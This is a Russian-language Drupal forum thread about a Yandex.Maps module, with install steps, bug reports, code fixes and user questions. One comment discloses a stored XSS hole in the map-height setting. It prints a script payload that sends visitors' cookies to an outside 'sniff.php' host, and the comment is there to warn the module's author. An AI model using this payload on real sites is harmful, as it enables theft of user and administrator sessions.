Модуль Yandex Map

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 17 марта 2009 в 2:03

Модуль Yandex.Map
картинко
Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.

Здесь скрин как выглядит карта при добавлении/редактировании материала.

Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.

Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)

зы. надеюсь, кому то пригодиться ;)

----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680

ВложениеРазмер
Иконка пакета yandex_map-6.x-1.1.4.zip50.46 КБ
0 Thanks

Комментарии

Аватар пользователя PavelZ PavelZ 17 марта 2009 в 9:07

Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

Аватар пользователя cpu cpu 17 марта 2009 в 7:28

Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!

Аватар пользователя batbug batbug 17 марта 2009 в 7:43

Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

А за модуль - респект!

Аватар пользователя kyky kyky 17 марта 2009 в 11:08

2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...

но автор молодец!

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 17 марта 2009 в 14:49
"PavelZ" wrote:

Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

"beerman" wrote:

не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.

"batbug" wrote:

Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.

"Химический Али" wrote:

Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?

нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал... :)

Аватар пользователя VladSavitsky VladSavitsky 17 марта 2009 в 15:28
"bohart" wrote:

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.

Да! И спасибо за то, что делитесь с сообществом.

Аватар пользователя fasdalf@fasdalf.ru fasdalf@fasdalf.ru 17 марта 2009 в 16:06

И для тех, кто за мкадом, хотелось бы "оверлей" поддерживать, ибо карт в растре есть, а удобства - нет.

Аватар пользователя lastormo lastormo 18 марта 2009 в 2:22

потрясающе, отлично работает.
все чисто, красиво и хорошо работает.
огромное спасибо за этот модуль :)

Аватар пользователя winniepoo winniepoo 18 марта 2009 в 3:26

хм
сразу после включения модуля
имею ругань на несуществующую таблицу yandex_maps
MySQL 5, Drupal 6.10

Аватар пользователя winniepoo winniepoo 18 марта 2009 в 17:49

Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.

Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить :(
Или я что-то не так делаю?

Аватар пользователя bodro bodro 18 марта 2009 в 13:09

протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта

Аватар пользователя andypost@drupal.org andypost@drupal.org 19 марта 2009 в 14:47

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
<?php
function yandex_map_menu() {
$items = array();

$items['admin/settings/yandex_map'] = array(
- 'title' => t('Yandex Map'),
+ 'title' => 'Yandex Map',
'page callback' => 'drupal_get_form',
'page arguments' => array('yandex_map_settings_form'),
'type' => MENU_NORMAL_ITEM,
'access arguments' => array('administer yandex_map'),
);
return $items;
}
?>

Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.

Соответственно yandex_map.install должен быть таким:

<?php
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt

/**
* Implementation of hook_install().
*/
function yandex_map_install() {
// Create tables.
drupal_install_schema('yandex_map');
}

/**
* Implementation of hook_uninstall().
*/
function yandex_map_uninstall() {
// Remove tables.
drupal_uninstall_schema('yandex_map');
// Remove variables.
variable_del('yandex_map_control_edit');
variable_del('yandex_map_control_view');
variable_del('yandex_map_api_key');
variable_del('yandex_map_default_city');
variable_del('yandex_map_default_zoom');
variable_del('yandex_map_ballon_on_view');
variable_del('yandex_map_copyright');
variable_del('yandex_map_types');
variable_del('yandex_map_map_height');
variable_del('yandex_map_map_width');
}

/**
* Implementation of hook_schema().
*/
function yandex_map_schema() {
$schema['yandex_map'] = array(
'description' => 'Stores data for yandex-maps.',
'fields' => array(
'nid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'uid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'time' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'value' => array(
'type' => 'varchar',
'length' => 1024,
'not null' => TRUE,
'default' => '',
),
),
'indexes' => array(
'nid' => array('nid'),
),
);

return $schema;
}

?>

Аватар пользователя beerman beerman 19 марта 2009 в 16:55
"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:

названия и описания пунктов меню не оборачиваются в t() в 6ке

это кто так сказал?

Аватар пользователя not_returned not_returned 20 марта 2009 в 9:39

Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?

Аватар пользователя t1mm1 t1mm1 23 марта 2009 в 11:12

хм...
а есть ли наработка под 5.16 версию?

заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.

Аватар пользователя Atl Atl 24 марта 2009 в 15:19

У-у-у-у! В 5-ке не ставится!

warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.

363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }

224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());

Добавил $form_state в 365-ю - ни фига.

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 29 марта 2009 в 3:50
"Atl" wrote:

У-у-у-у! В 5-ке не ставится!

"t1mm1" wrote:

а есть ли наработка под 5.16 версию?

этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет :(

"s0cks" wrote:

"Ваш корирайт для отображение внизу карт" ))

очепятко однако, исправил

"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке

Спасибо, не знал, исправил.

"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:

Соответственно yandex_map.install должен быть таким:

гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.

"not_returned" wrote:

Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?

даный функционал будет присутствувать в новой версии (1.3)

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 29 марта 2009 в 13:27

Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.

ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar

Аватар пользователя neochief neochief 2 апреля 2009 в 19:44
Аватар пользователя alexandr.poddubsky alexandr.poddubsky 4 апреля 2009 в 3:52
"neochief" wrote:

Модуль не соблюдает половины стандартов кодирования Друпала.

а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?

http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/

так что не друпу нужно соблюдать, а стандарты zend.

Аватар пользователя neochief neochief 4 апреля 2009 в 12:38

shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.

Аватар пользователя DmitryDrozdik DmitryDrozdik 6 апреля 2009 в 16:53

Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????

Аватар пользователя winniepoo winniepoo 7 апреля 2009 в 22:06

При установке получаю

user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.

я так понимаю, в базе на моем хостинге длина VARCHAR max 255

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 10 апреля 2009 в 21:34
"neochief" wrote:

Рекомендую модуль Coder.

спасибо, пропустил через coder.
убрал все ошибки.
на счет безопасности не совсем разобрался :(

"Zlodeiko" wrote:

и еще как опустить карту в ноде вниз страницы,

cоздайте файлик node-yournodetype.tpl.php

а для размещения карты в конкретном месте использую параметры с админки:

<?php
print theme('yandex_map');
?>

или же

<?php
$height 
'400px';
$width  '100%';
print 
theme('yandex_map'$height$width);
?>

++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Ну и самое главное исправлено ошибки при сохранение\отображении меток.

Аватар пользователя neochief neochief 11 апреля 2009 в 3:48

Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="

и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.

Аватар пользователя andypost@drupal.org andypost@drupal.org 14 апреля 2009 в 18:08

Может стоит этот модуль выложить на d.o больше откликов будет и удобнее обрабатывать ошибки/запросы

Аватар пользователя bohart@InternetDevels.com bohart@Internet... 14 апреля 2009 в 23:51
"winniepoo" wrote:

при обновлении на 1.4 отображение карты отваливается от нодов

не совсем понял что имелось веду...

"<a href="mailto:andypost@drupal.org">andypost@drupal.org</a>" wrote:

Может стоит этот модуль выложить на d.o

обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)

--

зы. сейчас готовлю демо-сайт :)

Аватар пользователя winniepoo winniepoo 16 апреля 2009 в 23:22

Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.

Аватар пользователя Sinn Sinn 23 апреля 2009 в 16:38

Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.

Аватар пользователя leeroy1 leeroy1 5 мая 2009 в 22:09

Огромное спасибо за модуль.

"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:

2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.

Аватар пользователя boodooboo boodooboo 21 мая 2009 в 1:30

При включении модуля в IE не отображается контент выводимый с помощью модуля Quick Tabs.

Аватар пользователя jason32 jason32 27 мая 2009 в 21:58

какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?

Аватар пользователя Anodonta Anodonta 3 июня 2009 в 12:19

Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.

Аватар пользователя Anodonta Anodonta 4 июня 2009 в 0:44

А вот, оказывается, и мой город появился:

02 июня на сервисе Яндекс.Карты (а значит и в API) были добавлены новые данные.

Россия
- Сочи
- Новороссийск

Украина
- Чернигов
- Полтава
- Черновцы
- Хмельницкий
- Черкассы
- Тернополь
- Ровно

Для курортных зон существенно расширилось покрытие высокодетальными спутниковыми снимками.

Аватар пользователя skorpio skorpio 7 июня 2009 в 20:43

Спасибо большое!
давно искал такой вот модуль ,но есть маленький вопрос.
1)почему при создании ноды с использованием модуля, при его дальнейшем просмотре изображение отклеиваеться от Ноды во всех Браузерах кроме Opera .
2) можно ли использовать данный модуль просто как карта города на сайте? т.е создаеться нода ,где карта доступНа для всех пользователей ,Без создания мАтериала

Аватар пользователя Anodonta Anodonta 10 июня 2009 в 20:02
"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:

Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map

А можно показать скриншоты последовательности действий по установке и настройке этого модуля, а то у меня руки из ж... никак не получается показать Яндекс-карту на сайте.

Аватар пользователя t1mm1 t1mm1 15 июня 2009 в 15:15

оффтоп.
мы у вас в Луцке выступали в Оболони =))
клевый замок у вас на Замковой =)

Аватар пользователя andrey_jw@drupal.org andrey_jw@drupal.org 24 июня 2009 в 22:02

Модуль ставил - хорош.
Но лично самому пришлось свое решение делать, потому что часто не нужно , что бы карта сразу грузилась. Из-за того , что рисунок грузиться со стороннего сервера - страница притармаживает в работе.
Может и вы встроите ссылку ПОКАЗАТЬ НА КАРТЕ при нажатие на которую начнет карта грузиться.

Аватар пользователя jason32 jason32 25 июня 2009 в 1:02

не работает при выводе карт через таксономию в составе нод - не отображается, поясните, это техническая проблема Яндекса или просто об этом не подумали? Как я понимаю, проблема ещё и в том, что данные передаются в id=yandex_map, а их не может быть более одного на странице.
Надеюсь на оперативный ответ, тут сайт сдавать, а такой косяк неприятный образовался.

PS Пропатчил немного, когда одна нода в термине - отображается, когда несколько - глюки. Поясните, как человек, который разбирался в API Яндекса , как такое решить?

Аватар пользователя yurgon yurgon 8 июля 2009 в 20:02

да кстати у меня тоже перестало работать....при добавлении материала, отображается карта, но вот содержание карты не отображается, что делать?

Аватар пользователя Dr_Kertis Dr_Kertis 13 июля 2009 в 20:08

Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.
Что бы это значило?

Аватар пользователя jason32 jason32 13 июля 2009 в 21:51
"Dr_Kertis" wrote:

Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.

Значит домен сайта при получении ключа неправильно ввел.

Аватар пользователя Dr_Kertis Dr_Kertis 14 июля 2009 в 13:53

Ну не знаю, скопировал адресную строку - http://мойсайт.kiev.ua/
Ввел ее. Получил ключ. На странице информации о ключах вижу - мойсайт.kiev.ua
* получен 13 июля 2009
* Ключ работает
По ссылке попадаю именно на мой сайт, на главную страницу. Какое-то злое колдунство выходит.

Аватар пользователя Dr_Kertis Dr_Kertis 15 июля 2009 в 13:27

Нет никаких идей? :( Хотелось сделать красивую контактную форму с картой, а не выходит.
На Гугле схемы Киева, увы, нет, так что ставить даже не пробовал.

Аватар пользователя Dr_Kertis Dr_Kertis 15 июля 2009 в 16:23

Проблема с ошибкой исчезла сама собой, это был глюк яндекса. Там даже обсуждался вопрос с ошибкой, но ответ так и не нашелся.
Но возникла другая проблема - по умолчанию мне показывает мир, хотя в админке выставлено все как на скриншоте. Поиск работать отказывается. Можно установить нужный город вручную, влепить нужную метку на улицу, но... ничего не сохранится. И пользователь радостно увидит тихий океан :(
Версия 1.3

Аватар пользователя yurgon yurgon 20 июля 2009 в 18:31

тоже самое...ОКЕАН...

видно тема совсем заглохла...очень жаль...на самом деле очень востребованный модуль, так как мой город ещё не скоро будет на гугл мапс

Аватар пользователя azemel azemel 22 июля 2009 в 19:13

Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."

Аватар пользователя jason32 jason32 24 июля 2009 в 18:19
"azemel" wrote:

Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."

Качай файл, прикрепленный непосредственно к посту, версия 1.4

Аватар пользователя shumod@drupal.org shumod@drupal.org 24 июля 2009 в 19:46

При установке пишется ошибка:
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: CREATE TABLE yandex_map ( `nid` INT unsigned NOT NULL DEFAULT 0, `uid` INT unsigned NOT NULL DEFAULT 0, `time` INT unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', INDEX nid (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /docs/includes/database.inc on line 515.

При сохранении ноды:
user warning: Table '.yandex_map' doesn't exist query: SELECT * FROM yandex_map WHERE `nid` = '56' in /docs/sites/all/modules/yandex_map/yandex_map.module on line 334.

При удалении пишется ошибка:
user warning: Unknown table 'yandex_map' query: DROP TABLE yandex_map in /docs/includes/database.mysql-common.inc on line 261.

Аватар пользователя jason32 jason32 24 июля 2009 в 21:02
"<a href="mailto:shumod@drupal.org">shumod@drupal.org</a>" wrote:

При установке пишется ошибка

базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

Аватар пользователя shumod@drupal.org shumod@drupal.org 26 июля 2009 в 10:20

Следующая ошибка при установке:
Warning: Got a packet bigger than 'max_allowed_packet' bytes query: INSERT INTO watchdog (uid, type, message, variables, severity, link, location, referer, hostname, timestamp) VALUES (1, 'php', '%message in %file on line %line.', 'a:4:{s:6:\"%error\";s:12:\"user warning\";s:8:\"%message\";s:2300783:\"Got a packet bigger than 'max_allowed_packet' bytes\nquery: UPDATE batch SET token = 'f925348e42c7390737108decd8a0a5fc', batch = 'a:10:{s:4:\\"sets\\";a:2:{i:0;a:12:{s:7:\\"sandbox\\";a:0:{}s:7:\\"results\\";a:0:{}s:7:\\"success\\";b:0;s:10:\\"operations\\";a:1:{i:0;a:2:{i:0;s:20:\\"_locale_batch_import\\";i:1;a:1:{i:0;s:47:\\"sites/all/modules/yandex_map/translations/ru.po\\";}}}s:5:\\"title\\";s:53:\\"Импорт переводов интер� in /docs/includes/database.mysql.inc on line 128

Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 3041548 bytes) in /docs/includes/database.mysql-common.inc on line 34

Warning: Cannot modify header information - headers already sent by (output started at /docs/includes/database.mysql.inc:128) in Unknown on line 0

"jason32" wrote:

базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

Хостер никхост. Чего-то понять не могу, какая версия mysql.
Есть две надписи: Версия сервера: 4.1.22-log, Версия MySQL-клиента: 5.1.16-beta. Что из них что?

Заранее спасибо.

Аватар пользователя superintendent superintendent 13 октября 2009 в 10:36

выдаёт 500 ошибку при сохранении ноды, как и с этим http://drupal.ru/node/24680
не подскажите, в чём может быть дело?

[РЕШЕНО] с приват_месседж был конфликт. залил новый, прошло.

Аватар пользователя Geldora Geldora 21 октября 2009 в 14:40

Итак, установила, все замечательно.

Есть две проблемы - 1) не отображается в Опре (конкретно, в Опере 10)

2) при сохранении ноды иногда сбивается адрес, т.е. вместо введенного, отображается дефолтный для города.

3) Все-таки, этот модуль загружает яндекс карты при каждом просмотре на сайте... Было бы хорошо - да что там! прекрасно! - если бы он - загружал ЯНдекс карты только там, где они собственно, есть... Или хотя бы вариант с Смотреть карту.

Аватар пользователя F10 F10 26 октября 2009 в 19:17
"<a href="mailto:bohart@InternetDevels.com">bohart@InternetDevels.com</a>" wrote:

и еще как опустить карту в ноде вниз страницы,
cоздайте файлик node-yournodetype.tpl.php

Может хотя бы здесь пойму, из чего состоит нода.

Ну так вот, хочу перенести карту ниже текста ноды. Написано, создайте файлик node-yournodetype.tpl.php и там перекрываете родной вывод. Ладно, сделал.
Дальше, в этом файле написал вот что:
<?php print theme('yandex_map');  ?> - это выводит карту.
Перед ней что вписывать, что бы вывести текстовую часть контента.
Если пишу так <?php print $content;?> или так <?php print $body?>, выводится контент с картой вместе, т. е. карта пытается загрузиться два раза.

А что выводит только текстовую часть ноды?

Аватар пользователя F10 F10 27 октября 2009 в 9:22

И еще, обнаружен неприятный баг. Так как скрипты модуля грузяться на каждой странице, на страницах с списками views(где есть раскрытые фильтры): Opera виснет, IE выдает ошибку "Замедление работы IE".

Аватар пользователя yurgon yurgon 27 октября 2009 в 21:19

эхх... как мой город добавил Гугл, я и забил на это все...
Некому заниматься модулем :(

Аватар пользователя Emili013@drupal.org Emili013@drupal.org 13 ноября 2009 в 14:49

Спасибо за модуль!
Только я тоже столкнулся с проблемой, что из-за вызова скрипта Y.Maps на каждой странице в Опере намертво виснет старница создание/редактирования Views.

И еще не могу понять как на определнной странице вывести карту с масштабом, отличным от дефалтного.
Т.е. я на главной странице хочу вывести карту со всеми созданными точками. Карту я вывожу следующим кодом:
echo theme('yandex_map', variable_get('yandex_map_block_height_'. $delta, FALSE), variable_get('yandex_map_block_width_'. $delta, FALSE));
А что нужно в нем изменить, чтобы масштаб был "город"?

PS: только начал изучать PHP, поэтому самостоятельно разобраться не смог..

Аватар пользователя Tsuba Tsuba 21 декабря 2009 в 2:00

Хотелось бы узнать - автор поддерживает модуль? Или нет смысла ставить...

Аватар пользователя vatavale@drupal.org vatavale@drupal.org 13 января 2010 в 1:10

У меня все работает. Только при редактировании ноды с картой, адрес сбивается на дефолтный. И это делает (в моем случае) непригодным это отличный модуль. Наверное там пустяшный код надо добавить с проверкой. Может быть автор разрешит доработать его модуль если у него у самого нет на это времени? Есть тут умельцы которым это как 2+2 сделать? Может neochief или еще кто-то? ;)

Аватар пользователя sdik@drupal.org sdik@drupal.org 11 февраля 2010 в 0:24

День добрый всем.

Автору респект!

Есть маленькая проблемка...
При создании ноды карта не отображается (и клики по лупе ничего не дают). Но если ноду сохранить, а потом опять редактировать - карта отображается нормально.

Кто-нибудь сталкивался?

P.S. В какой теме писать? Здесь или http://www.drupal.ru/node/39766

Аватар пользователя cinderella cinderella 15 сентября 2010 в 10:36

Так установила модуль 6.3, выявила что при работе с типами материала, которые создала я сама, карта работает но только после того как нода уже создана и сохранена, то есть при редактировании, в встроенных типах такого нет карта работает нормально как надо

Аватар пользователя reddiamond reddiamond 10 мая 2011 в 19:13

Хочу поставить карту в информацию о пользователе, как можно это сделать? Где указывать откуда брать адрес?

Аватар пользователя ken ken 4 сентября 2011 в 16:15

Большое спасибо за модуль !!! очень полезная штука, правда жаль что нет на 7ку. щас уже все проекты хочу проапгрейдить и возник вопрос будет ли версия для 7ки ?

Аватар пользователя 132u 132u 29 сентября 2011 в 20:03

здравствуйте, подскажите пожалуйста , что делать , если города нет ни в гугл ни на яндексе?
p.s: я первый раз делаю сайт на drupal

Аватар пользователя tishka tishka 4 декабря 2011 в 12:52

Что если нужно на одной странице показать 2 адреса? Не важно на одной карте или на двух? Как можно реализовать, подскажите пожалуйста. Заранее спасибо.

Аватар пользователя Antoniy Antoniy 21 апреля 2012 в 23:12
tishka wrote:

Что если нужно на одной странице показать 2 адреса?

Ну наверное, как самый простой вариант, создать шаблон node-id.tpl.php и вставить скрипт с Яндекс-карт:

   
<script src="http://api-maps.yandex.ru/1.1/index.xml?key=Ваш_ключ_API_Яндекс.Карты"
        type="text/javascript"></script>
    <script type="text/javascript">
        window.onload = function () {
            var map = new YMaps.Map(document.getElementById("YMapsID"));
            map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10);
        }
</script>

Там, где
map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10)
Назначить свои координаты.

А в то место шаблона, где должна быть выведена карта, вставить:
<div id="YMapsID" style="width:600px;height:400px"></div>

Но этот вариант не очень. Карта выводится без инструментов ((

UPD: Определение координат

Аватар пользователя Hot Gomer Hot Gomer 27 апреля 2012 в 17:28

Скажите, а как можно разместить 2 карты в одной ноде?
есть 2 адреса в разных городах и хотелось бы поместить карты друг под другом.
и еще вопрос - как тело ноды поместить поверх карты?

Аватар пользователя Antoniy Antoniy 27 апреля 2012 в 17:38

Я написал как разместить две карты (за два комментария до этого), хотя способ не очень.
Думаю, стоит посмотреть в сторону новых карт Яндекс.Карты 2.0. Там можно несколько адресов на одной карте размещать, типа филиалы.

Что значит тело ноды поверх карты? В блоке в регионе? Карта модуля и так в самом низу ноды.
А если вставлять кодом, который генерит Яндекс, то можно карту куда угодно засунуть, хоть между абзацами.

Аватар пользователя Arturus Arturus 25 октября 2014 в 18:43

Я разместил карту в блоке, можно ли дать возможность зарегистрированным посетителям добавлять метки на эту карту?

Аватар пользователя sas@drupal.org sas@drupal.org 29 октября 2014 в 7:49
"ХулиGUN" wrote:

Пардон, но накипело

Желающий слышать, да услышит. Спасибо за то, что Денис высказывает то, что многие из нас стесняются вписать из головы после эмоциональных порывов. Здесь есть еще те, кто не хочет вникать и мыслить в направлении алгоритмов и решений проблем, но при этом хочет их решить - этот порыв я думаю не к Вам. Вам мы всегда поможем, когда бесплатно, когда за денежку, не пугайтесь и не бери это на свой счет близко к горячему сердцу и широкой душе.